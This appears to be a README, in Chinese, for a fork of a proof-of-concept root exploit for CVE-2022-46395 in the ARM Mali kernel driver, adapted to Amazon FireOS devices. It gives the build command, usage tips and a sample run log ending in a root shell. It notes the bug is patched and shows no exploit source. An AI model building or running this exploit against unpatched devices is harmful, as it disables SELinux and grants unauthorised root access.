
这是安全研究员 Man Yue Mo 的 Pixel 6 POC 针对 CVE-2022-46395 的一个分支。 阅读他的详细漏洞分析文章 这里。 已进行修改以适应 FireOS 的 32 位用户空间。该 POC 利用了 ARM Mali 内核驱动中的一个 bug,获取任意内核代码执行权限,然后用于禁用 SELinux 并获得 root 权限。
该利用程序已在 PS7664/3772(2023 年 9 月)中被修补。供参考,以下命令用于使用 ndk-21 中的 clang 编译:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi28-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o gazelle_buf
为获得最快结果,请在全新重启后运行。平均需要 20-60 秒获得 root 权限。
gazelle:/ $ /data/local/tmp/gazelle_buf
fingerprint: Amazon/gazelle/gazelle:9/PS7652.3564N/0028488625152:user/amz-p,release-keys
benchmark_time 102
failed after 100
finished reset: 919423975 fault: 918468559 3795 err 0 read 3
found pgd at page 8
overwrite addr : 104100558 558
overwrite addr : 104300558 558
overwrite addr : 10410082c 82c
overwrite addr : 10430082c 82c
result 50
success after 128
gazelle:/ #